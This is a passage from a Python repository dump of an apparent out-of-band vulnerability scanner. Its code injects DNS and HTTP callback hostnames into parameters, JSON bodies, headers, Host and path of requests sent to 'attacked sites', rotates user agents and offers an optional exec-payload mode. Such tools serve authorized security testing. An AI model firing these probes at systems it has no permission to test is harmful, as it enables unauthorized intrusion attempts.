66 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931",
67 | "Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
68 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200",
69 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586",
70 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
71 | ]
72 |
73 | return random.choice(ua)
74 |
--------------------------------------------------------------------------------
/inc/HttpParameter.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 | import json
20 |
21 |
22 | class HttpParameter:
23 |
24 | def __init__(self, config, oldquery, callback):
25 |
26 | self.config = config
27 | self.oldquery = oldquery
28 | self.params = []
29 | self.finale_query_parts = []
30 | self.__extract_params_from_query()
31 | self.__make_combinations(callback)
32 |
33 | def combine_for_get(self):
34 |
35 | query = []
36 |
37 | for data in self.finale_query_parts:
38 | query.append("{}={}".format(data["param"], data["callback"]))
39 |
40 | return "&".join(query)
41 |
42 | def combine_for_post(self):
43 |
44 | return self.combine_for_get()
45 |
46 | def combine_as_json(self):
47 |
48 | jsonA = {}
49 |
50 | for data in self.finale_query_parts:
51 | jsonA[data["param"]] = data["callback"]
52 |
53 | return json.dumps(jsonA, ensure_ascii=True)
54 |
55 | def get_data_for_get_in_chunks(self):
56 | start = 0
57 | query = []
58 | chunked = []
59 |
60 | for data in self.finale_query_parts:
61 |
62 | start = start +1
63 |
64 | query.append("{}={}".format(data["param"], data["callback"]))
65 |
66 | if start == self.config.chunk_size_get:
67 | chunked.append("&".join(query))
68 | query = []
69 | start = 0
70 |
71 | if len(query)>0:
72 | chunked.append("&".join(query))
73 |
74 | return chunked
75 |
76 | def __make_combinations(self, callback):
77 |
78 | for param in self.params:
79 | self.finale_query_parts.append({
80 | 'param': param,
81 | 'callback': callback
82 | })
83 |
84 | def __extract_params_from_query(self):
85 |
86 | old_params_exploded = []
87 |
88 | if self.oldquery.strip() != "":
89 | old_params_exploded = self.oldquery.split("&")
90 |
91 | if len(old_params_exploded) > 0:
92 |
93 | for param_val in old_params_exploded:
94 | param_name, param_val = param_val.split("=")
95 |
96 | self.params.append(param_name)
97 |
98 | additional_params = self.config.parameters.splitlines()
99 |
100 | for add_param in additional_params:
101 | self.params.append(add_param)
102 |
--------------------------------------------------------------------------------
/inc/Tests.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # This program is free software; you can redistribute it and/or modify
3 | # it under the terms of the GNU General Public License as published by
4 | # the Free Software Foundation; either version 2 of the License, or
5 | # (at your option) any later version.
6 | #
7 | # This program is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | # GNU General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU General Public License
13 | # along with this program; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | # MA 02110-1301, USA.
16 | #
17 | # Author: Damian Schwyrz
18 |
19 | from urllib.parse import urlparse
20 |
21 | from inc.Callback import *
22 | from inc.Headers import *
23 | from inc.HttpParameter import *
24 | from inc.Color import *
25 | from random import shuffle
26 |
27 |
28 | class Tests:
29 |
30 | def __init__(self, config):
31 |
32 | self.config = config
33 | self.tests = []
34 | self.path_tested_hosts = []
35 | self.host_tested_hosts = []
36 |
37 | self.__create_tests()
38 |
39 | def __create_tests(self):
40 |
41 | for attacked_site in self.config.urls:
42 |
43 | url = self.__make_url(attacked_site)
44 | path = self.__get_path(url)
45 | query = self.__get_query(url)
46 | hostname = self.__get_host(url)
47 | port = self.__get_port(url)
48 |
49 | if self.config.insertion_point_use_path and hostname not in self.path_tested_hosts:
50 | self.__create_path_testcase(url, hostname, port)
51 |
52 | self.path_tested_hosts.append(hostname)
53 |
54 | if self.config.insertion_point_use_host and hostname not in self.host_tested_hosts:
55 | self.__create_host_testcase(url, hostname, port, path, query)
56 |
57 | self.host_tested_hosts.append(hostname)
58 |
59 | if self.config.insertion_point_use_http_headers:
60 | self.__create_http_header_testcases(url, hostname, port, path, query)
61 |
62 | if self.config.insertion_point_use_getparams:
63 | self.__create_getparams_testcase(url, hostname, port, path, query)
64 |
65 | if self.config.insertion_point_use_postparams:
66 | self.__create_postparams_testcase(url, hostname, port, path, query)
67 |
68 | if self.config.insertion_point_use_postparams_as_json:
69 | self.__create_postparams_json_testcase(url, hostname, port, path, query)
70 |
71 | if self.config.shuffleTests:
72 | shuffle(self.tests)
73 |
74 | print("{} Request count:\t\t{}".format(
75 | Color.orange("[ i ]"),
76 | len(self.tests)
77 | ))
78 | print("")
79 |
80 | def __create_postparams_json_testcase(self, url, hostname, port, path, query):
81 |
82 | real_path = "{}?{}".format(path, query)
83 |
84 | if query == "":
85 | real_path = "{}".format(path)
86 |
87 | callback = Callback(url, self.config, "dns", "default")
88 | callback.set_hostname(hostname)
89 | callback.set_testname("jpdd")
90 | callback.make()
91 |
92 | headers = Headers(self.config)
93 | headers.set("Host", hostname)
94 | headers.add_static_headers()
95 | headers.set("Cookie", self.config.cookies)
96 | headers.set("Referer", "{}".format(url))
97 | headers.set("User-Agent", headers.get_random_user_agent())
98 | headers.set("Content-Type", "application/json")
99 |
100 | params = HttpParameter(self.config, query, callback.result)
101 |
102 | self.tests.append({
103 | 'url': url,
104 | 'port': port,
105 | 'method': 'POST',
106 | 'host': hostname,
107 | 'path': real_path,
108 | 'headers': headers.make(),
109 | 'body': params.combine_as_json(),
110 | 'test_name': "json_post_dns_default"
111 | })
112 |
113 | callback = Callback(url, self.config, "http", "default")
114 | callback.set_hostname(hostname)
115 | callback.set_testname("jphd")
116 | callback.make()
117 |
118 | headers = Headers(self.config)
119 | headers.set("Host", hostname)
120 | headers.add_static_headers()
121 | headers.set("Cookie", self.config.cookies)
122 | headers.set("Referer", "{}".format(url))
123 | headers.set("User-Agent", headers.get_random_user_agent())
124 | headers.set("Content-Type", "application/json")
125 |
126 | params = HttpParameter(self.config, query, callback.result)
127 |
128 | self.tests.append({
129 | 'url': url,
130 | 'port': port,
131 | 'method': 'POST',
132 | 'host': hostname,
133 | 'path': real_path,
134 | 'headers': headers.make(),
135 | 'body': params.combine_as_json(),
136 | 'test_name': "json_post_http_default"
137 | })
138 |
139 | def __create_postparams_testcase(self, url, hostname, port, path, query):
140 |
141 | callback = Callback(url, self.config, "dns", "default")
142 | callback.set_hostname(hostname)
143 | callback.set_testname("pdd")
144 | callback.make()
145 |
146 | headers = Headers(self.config)
147 | headers.set("Host", hostname)
148 | headers.add_static_headers()
149 | headers.set("Cookie", self.config.cookies)
150 | headers.set("Referer", "{}".format(url))
151 | headers.set("User-Agent", headers.get_random_user_agent())
152 | headers.set("Content-Type", "application/x-www-form-urlencoded")
153 |
154 | params = HttpParameter(self.config, query, callback.result)
155 |
156 | self.tests.append({
157 | 'url': url,
158 | 'port': port,
159 | 'method': 'POST',
160 | 'host': hostname,
161 | 'path': "{}?{}".format(path, query),
162 | 'headers': headers.make(),
163 | 'body': params.combine_for_post(),
164 | 'test_name': "post_dns_default"
165 | })
166 |
167 | callback = Callback(url, self.config, "http", "default")
168 | callback.set_hostname(hostname)
169 | callback.set_testname("pohd")
170 | callback.make()
171 |
172 | headers = Headers(self.config)
173 | headers.set("Host", hostname)
174 | headers.add_static_headers()
175 | headers.set("Cookie", self.config.cookies)
176 | headers.set("Referer", "{}".format(url))
177 | headers.set("User-Agent", headers.get_random_user_agent())
178 | headers.set("Content-Type", "application/x-www-form-urlencoded")
179 |
180 | params = HttpParameter(self.config, query, callback.result)
181 |
182 | self.tests.append({
183 | 'url': url,
184 | 'port': port,
185 | 'method': 'POST',
186 | 'host': hostname,
187 | 'path': "{}?{}".format(path, query),
188 | 'headers': headers.make(),
189 | 'body': params.combine_for_post(),
190 | 'test_name': "post_http_default"
191 | })
192 |
193 | def __create_getparams_testcase(self, url, hostname, port, path, query):
194 |
195 | callback = Callback(url, self.config, "dns", "default")
196 | callback.set_hostname(hostname)
197 | callback.set_testname("gdd")
198 | callback.make()
199 |
200 | headers = Headers(self.config)
201 | headers.set("Host", hostname)
202 | headers.add_static_headers()
203 | headers.set("Cookie", self.config.cookies)
204 | headers.set("Referer", "{}".format(url))
205 | headers.set("User-Agent", headers.get_random_user_agent())
206 | headers.set("Content-Type", "text/html")
207 |
208 | params = HttpParameter(self.config, query, callback.result)
209 |
210 | for paramset in params.get_data_for_get_in_chunks():
211 | self.tests.append({
212 | 'url': url,
213 | 'port': port,
214 | 'method': 'GET',
215 | 'host': hostname,
216 | 'path': "{}?{}".format(path, paramset),
217 | 'headers': headers.make(),
218 | 'body': '',
219 | 'test_name': "get_dns_default"
220 | })
221 |
222 |
223 | callback = Callback(url, self.config, "http", "default")
224 | callback.set_hostname(hostname)
225 | callback.set_testname("ghd")
226 | callback.make()
227 |
228 | headers = Headers(self.config)
229 | headers.set("Host", hostname)
230 | headers.add_static_headers()
231 | headers.set("Cookie", self.config.cookies)
232 | headers.set("Referer", "{}".format(url))
233 | headers.set("User-Agent", headers.get_random_user_agent())
234 | headers.set("Content-Type", "text/html")
235 |
236 | params = HttpParameter(self.config, query, callback.result)
237 |
238 | for paramset in params.get_data_for_get_in_chunks():
239 | self.tests.append({
240 | 'url': url,
241 | 'port': port,
242 | 'method': 'GET',
243 | 'host': hostname,
244 | 'path': "{}?{}".format(path, paramset),
245 | 'headers': headers.make(),
246 | 'body': '',
247 | 'test_name': "get_http_default"
248 | })
249 |
250 | def __create_http_header_testcases(self, url, hostname, port, path, query):
251 |
252 | callback = Callback(url, self.config, "dns", "default")
253 | callback.set_hostname(hostname)
254 | callback.set_testname("hedd")
255 | callback.make()
256 |
257 | headers = Headers(self.config)
258 | headers.set("Host", hostname)
259 | headers.add_static_headers()
260 | headers.set("Cookie", self.config.cookies)
261 | headers.set("Referer", "{}{}?{}".format(url, path, query))
262 | headers.set("User-Agent", headers.get_random_user_agent())
263 | headers.set("Content-Type", "text/html")
264 | headers.add_user_defined_headers(callback.result)
265 |
266 | self.tests.append({
267 | 'url': url,
268 | 'port': port,
269 | 'method': self.config.http_method,
270 | 'host': hostname,
271 | 'path': "{}?{}".format(path, query),
272 | 'headers': headers.make(),
273 | 'body': '',
274 | 'test_name': "headers_dns_default"
275 | })
276 |
277 | callback = Callback(url, self.config, "http", "default")
278 | callback.set_hostname(hostname)
279 | callback.set_testname("hthd")
280 | callback.make()
281 |
282 | headers = Headers(self.config)
283 | headers.set("Host", hostname)
284 | headers.add_static_headers()
285 | headers.set("Cookie", self.config.cookies)
286 | headers.set("Referer", "{}{}?{}".format(url, path, query))
287 | headers.set("User-Agent", headers.get_random_user_agent())
288 | headers.set("Content-Type", "text/html")
289 | headers.add_user_defined_headers(callback.result)
290 |
291 | self.tests.append({
292 | 'url': url,
293 | 'port': port,
294 | 'method': self.config.http_method,
295 | 'host': hostname,
296 | 'path': "{}?{}".format(path, query),
297 | 'headers': headers.make(),
298 | 'body': '',
299 | 'test_name': "headers_http_default"
300 | })
301 |
302 | if self.config.attack_use_exec_payload:
303 | callback = Callback(url, self.config, "dns", "exec")
304 | callback.set_hostname(hostname)
305 | callback.set_testname("hede")
306 | callback.make()
307 |
308 | headers = Headers(self.config)
309 | headers.set("Host", hostname)
310 | headers.add_static_headers()
311 | headers.set("Cookie", self.config.cookies)
312 | headers.set("Referer", "{}{}?{}".format(url, path, query))
313 | headers.set("User-Agent", headers.get_random_user_agent())
314 | headers.set("Content-Type", "text/html")
315 | headers.add_user_defined_headers(callback.result)
316 |
317 | self.tests.append({
318 | 'url': url,
319 | 'port': port,
320 | 'method': self.config.http_method,
321 | 'host': hostname,
322 | 'path': "{}?{}".format(path, query),
323 | 'headers': headers.make(),
324 | 'body': '',
325 | 'test_name': "headers_dns_exec"
326 | })
327 |
328 | def __create_host_testcase(self, url, hostname, port, path, query):
329 |
330 | callback = Callback(url, self.config, "dns", "default")
331 | callback.set_hostname(hostname)
332 | callback.set_testname("hdd")
333 | callback.make()
334 |
335 | headers = Headers(self.config)
336 | headers.set("Host", callback.result)
337 | headers.add_static_headers()
338 | headers.set("Cookie", self.config.cookies)
339 | headers.set("Referer", "{}{}?{}".format(url, path, query))
340 | headers.set("User-Agent", headers.get_random_user_agent())
341 | headers.set("Content-Type", "text/html")
342 |
343 | self.tests.append({
344 | 'url': url,
345 | 'port': port,
346 | 'method': self.config.http_method,
347 | 'host': hostname,
348 | 'path': "{}?{}".format(path, query),
349 | 'headers': headers.make(),
350 | 'body': '',
351 | 'test_name': "host_dns_default"
352 | })
353 |
354 | if self.config.attack_use_exec_payload:
355 | callback = Callback(url, self.config, "dns", "exec")
356 | callback.set_hostname(hostname)
357 | callback.set_testname("hde")
358 | callback.make()
359 |
360 | headers = Headers(self.config)
361 | headers.set("Host", callback.result)
362 | headers.add_static_headers()
363 | headers.set("Cookie", self.config.cookies)
364 | headers.set("Referer", "{}{}?{}".format(url, path, query))
365 | headers.set("User-Agent", headers.get_random_user_agent())
366 | headers.set("Content-Type", "text/html")
367 | headers.set("Host", callback.result)
368 |
369 | self.tests.append({
370 | 'url': url,
371 | 'port': port,
372 | 'method': self.config.http_method,
373 | 'host': hostname,
374 | 'path': "{}?{}".format(path, query),
375 | 'headers': headers.make(),
376 | 'body': '',
377 | 'test_name': "host_dns_exec"
378 | })
379 |
380 | def __create_path_testcase(self, url, hostname, port):
381 |
382 | callback = Callback(url, self.config, "http", "default")
383 | callback.set_hostname(hostname)
384 | callback.set_testname("pahd")
385 | callback.make()
386 |
387 | headers = Headers(self.config)
388 |
389 | headers.set("Host", callback.result)
390 | headers.add_static_headers()
391 | headers.set("Cookie", self.config.cookies)
392 | headers.set("Referer", "{}".format(url))
393 | headers.set("User-Agent", headers.get_random_user_agent())
394 | headers.set("Content-Type", "text/html")
395 | headers.set("Host", hostname)
396 |
397 | self.tests.append({
398 | 'url': url,
399 | 'port': port,
400 | 'method': self.config.http_method,
401 | 'host': hostname,
402 | 'path': callback.result,
403 | 'headers': headers.make(),
404 | 'body': '',
405 | 'test_name': "path_http_default"
406 | })
407 |
408 | @staticmethod
409 | def __make_url(attacked_site):
410 |
411 | url = attacked_site
412 |
413 | if not attacked_site.startswith("http"):
414 | url = "http://{}/".format(attacked_site)
415 |
416 | return url
417 |
418 | @staticmethod
419 | def __get_path(url):
420 |
421 | parser = urlparse(url)
422 |
423 | path = parser.path
424 |
425 | if path.startswith("http"):
426 | return path
427 |
428 | if not path.startswith("/"):
429 | return "/" + path
430 |
431 | return parser.path
432 |
433 | @staticmethod
434 | def __get_query(url):
435 |
436 | parser = urlparse(url)
437 |
438 | return parser.query
439 |
440 | @staticmethod
441 | def __get_host(url):
442 |
443 | parser = urlparse(url)
444 |
445 | return parser.hostname
446 |
447 | @staticmethod
448 | def __get_port(url):
449 |
450 | parser = urlparse(url)
451 |
452 | return parser.port
453 |
--------------------------------------------------------------------------------
/inc/Worker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf8
3 |
4 | import threading
5 | import http.client
6 | from inc.Color import *
7 | from inc.Connection import Connection as OwnConnection
8 | stopSet = True
9 |
10 |
11 | class Worker(threading.Thread):
12 | def __init__(self, config, queue, tid):
13 | threading.Thread.__init__(self)
14 | self.queue = queue
15 | self.tid = tid
16 | self.config = config
17 |
18 | def run(self):
19 | global stopSet
20 |
21 | while stopSet:
22 |
23 | try:
24 | data = self.queue.get(timeout=1)
25 |
26 |
27 | except Exception as e:
28 | stopSet = False
29 | break
30 |
31 | try:
32 |
33 | conn = OwnConnection(self.config, data)
34 | conn.connect()
35 | response = conn.response
36 |
37 | state = self.__make_color_state(response)
38 |
39 | print("{} [Proc: {}] {} [{}] [{}]".format(
40 | state,
41 | self.tid,
42 | data["url"],
43 | response.status,
44 | data["test_name"]
45 | ))
46 |
47 | except Exception as e:
48 | print("{} [Proc: {}] {} [{}] [{}]".format(
49 | Color.danger("[ x ]"),
50 | self.tid,
51 | data["url"],
52 | data["test_name"],
53 | e
54 | ))
55 |
56 | self.queue.task_done()
57 |
58 | @staticmethod
59 | def __make_color_state(response):
60 | if response.status == 200:
61 | state = Color.green("[ R ]")
62 | elif 200 < response.status <= 500:
63 | state = Color.orange("[ R ]")
64 | else:
65 | state = Color.red("[ R ]")
66 | return state
67 |
--------------------------------------------------------------------------------
/inc/__init__.py:
--------------------------------------------------------------------------------
1 | pass
--------------------------------------------------------------------------------